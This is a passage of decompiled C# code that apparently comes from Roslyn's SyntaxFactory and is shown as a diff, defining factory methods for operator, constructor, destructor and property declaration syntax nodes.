Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Unknown result type (might be due to invalid IL or missing references) + //IL_016f: Unknown result type (might be due to invalid IL or missing references) + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + if (returnType == null) + { + throw new ArgumentNullException("returnType"); + } + if (operatorKeyword.Kind() != SyntaxKind.OperatorKeyword) + { + throw new ArgumentException("operatorKeyword"); + } + SyntaxKind syntaxKind = checkedKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CheckedKeyword) + { + throw new ArgumentException("checkedKeyword"); + } + switch (operatorToken.Kind()) + { + default: + throw new ArgumentException("operatorToken"); + case SyntaxKind.TildeToken: + case SyntaxKind.ExclamationToken: + case SyntaxKind.PercentToken: + case SyntaxKind.CaretToken: + case SyntaxKind.AmpersandToken: + case SyntaxKind.AsteriskToken: + case SyntaxKind.MinusToken: + case SyntaxKind.PlusToken: + case SyntaxKind.BarToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.SlashToken: + case SyntaxKind.MinusMinusToken: + case SyntaxKind.PlusPlusToken: + case SyntaxKind.ExclamationEqualsToken: + case SyntaxKind.EqualsEqualsToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.LessThanLessThanToken: + case SyntaxKind.GreaterThanEqualsToken: + case SyntaxKind.GreaterThanGreaterThanToken: + case SyntaxKind.GreaterThanGreaterThanGreaterThanToken: + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + case SyntaxKind.IsKeyword: + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.OperatorDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)returnType).Green, (explicitInterfaceSpecifier == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExplicitInterfaceSpecifierSyntax)(object)((SyntaxNode)explicitInterfaceSpecifier).Green), (SyntaxToken)(object)((SyntaxToken)(ref operatorKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref checkedKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green, (body == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)body).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax OperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return OperatorDeclaration(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, Token(SyntaxKind.OperatorKeyword), default(SyntaxToken), operatorToken, parameterList, body, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax OperatorDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken operatorToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return OperatorDeclaration(default(SyntaxList), default(SyntaxTokenList), returnType, null, Token(SyntaxKind.OperatorKeyword), default(SyntaxToken), operatorToken, ParameterList(), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = implicitOrExplicitKeyword.Kind(); + if (syntaxKind - 8383 > SyntaxKind.List) + { + throw new ArgumentException("implicitOrExplicitKeyword"); + } + if (operatorKeyword.Kind() != SyntaxKind.OperatorKeyword) + { + throw new ArgumentException("operatorKeyword"); + } + syntaxKind = checkedKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CheckedKeyword) + { + throw new ArgumentException("checkedKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ConversionOperatorDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref implicitOrExplicitKeyword)).Node, (explicitInterfaceSpecifier == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExplicitInterfaceSpecifierSyntax)(object)((SyntaxNode)explicitInterfaceSpecifier).Green), (SyntaxToken)(object)((SyntaxToken)(ref operatorKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref checkedKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green, (body == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)body).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorDeclaration(attributeLists, modifiers, implicitOrExplicitKeyword, explicitInterfaceSpecifier, Token(SyntaxKind.OperatorKeyword), default(SyntaxToken), type, parameterList, body, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxToken implicitOrExplicitKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorDeclaration(default(SyntaxList), default(SyntaxTokenList), implicitOrExplicitKeyword, null, Token(SyntaxKind.OperatorKeyword), default(SyntaxToken), type, ParameterList(), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax? initializer, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + SyntaxKind syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ConstructorDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green, (initializer == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorInitializerSyntax)(object)((SyntaxNode)initializer).Green), (body == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)body).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax? initializer, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return ConstructorDeclaration(attributeLists, modifiers, identifier, parameterList, initializer, body, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return ConstructorDeclaration(default(SyntaxList), default(SyntaxTokenList), identifier, ParameterList(), null, null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax ConstructorDeclaration(string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return ConstructorDeclaration(default(SyntaxList), default(SyntaxTokenList), Identifier(identifier), ParameterList(), null, null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax ConstructorInitializer(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken thisOrBaseKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax argumentList) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8889 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + SyntaxKind syntaxKind = thisOrBaseKeyword.Kind(); + if (syntaxKind - 8370 > SyntaxKind.List) + { + throw new ArgumentException("thisOrBaseKeyword"); + } + if (argumentList == null) + { + throw new ArgumentNullException("argumentList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ConstructorInitializer(kind, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref thisOrBaseKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentListSyntax)(object)((SyntaxNode)argumentList).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax ConstructorInitializer(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax? argumentList = null) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return ConstructorInitializer(kind, Token(SyntaxKind.ColonToken), Token(GetConstructorInitializerThisOrBaseKeywordKind(kind)), argumentList ?? ArgumentList()); + } + + private static SyntaxKind GetConstructorInitializerThisOrBaseKeywordKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.BaseConstructorInitializer => SyntaxKind.BaseKeyword, + SyntaxKind.ThisConstructorInitializer => SyntaxKind.ThisKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax DestructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken tildeToken, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + if (tildeToken.Kind() != SyntaxKind.TildeToken) + { + throw new ArgumentException("tildeToken"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + SyntaxKind syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DestructorDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref tildeToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green, (body == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)body).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax DestructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return DestructorDeclaration(attributeLists, modifiers, Token(SyntaxKind.TildeToken), identifier, parameterList, body, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax DestructorDeclaration(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + return DestructorDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.TildeToken), identifier, ParameterList(), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax DestructorDeclaration(string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + return DestructorDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.TildeToken), Identifier(identifier), ParameterList(), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax PropertyDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax? accessorList, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax? initializer, SyntaxToken semicolonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + SyntaxKind syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PropertyDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (explicitInterfaceSpecifier == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExplicitInterfaceSpecifierSyntax)(object)((SyntaxNode)explicitInterfaceSpecifier).Green), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (accessorList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AccessorListSyntax)(object)((SyntaxNode)accessorList).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (initializer == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EqualsValueClauseSyntax)(object)((SyntaxNode)initializer).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax PropertyDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax? accessorList, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return PropertyDeclaration(attributeLists, modifiers, type, explicitInterfaceSpecifier, identifier, accessorList, expressionBody, initializer, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax PropertyDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return PropertyDeclaration(default(SyntaxList), default(SyntaxTokenList), type, null, identifier, null, null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax PropertyDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return PropertyDeclaration(default(SyntaxList), default(SyntaxTokenList), type, null, Identifier(identifier), null, null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax ArrowExpressionClause(SyntaxToken arrowToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (arrowToken.Kind() != SyntaxKind.EqualsGreaterThanToken) + { + throw new ArgumentException("arrowToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ArrowExpressionClause((SyntaxToken)(object)((SyntaxToken)(ref arrowToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax ArrowExpressionClause(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid 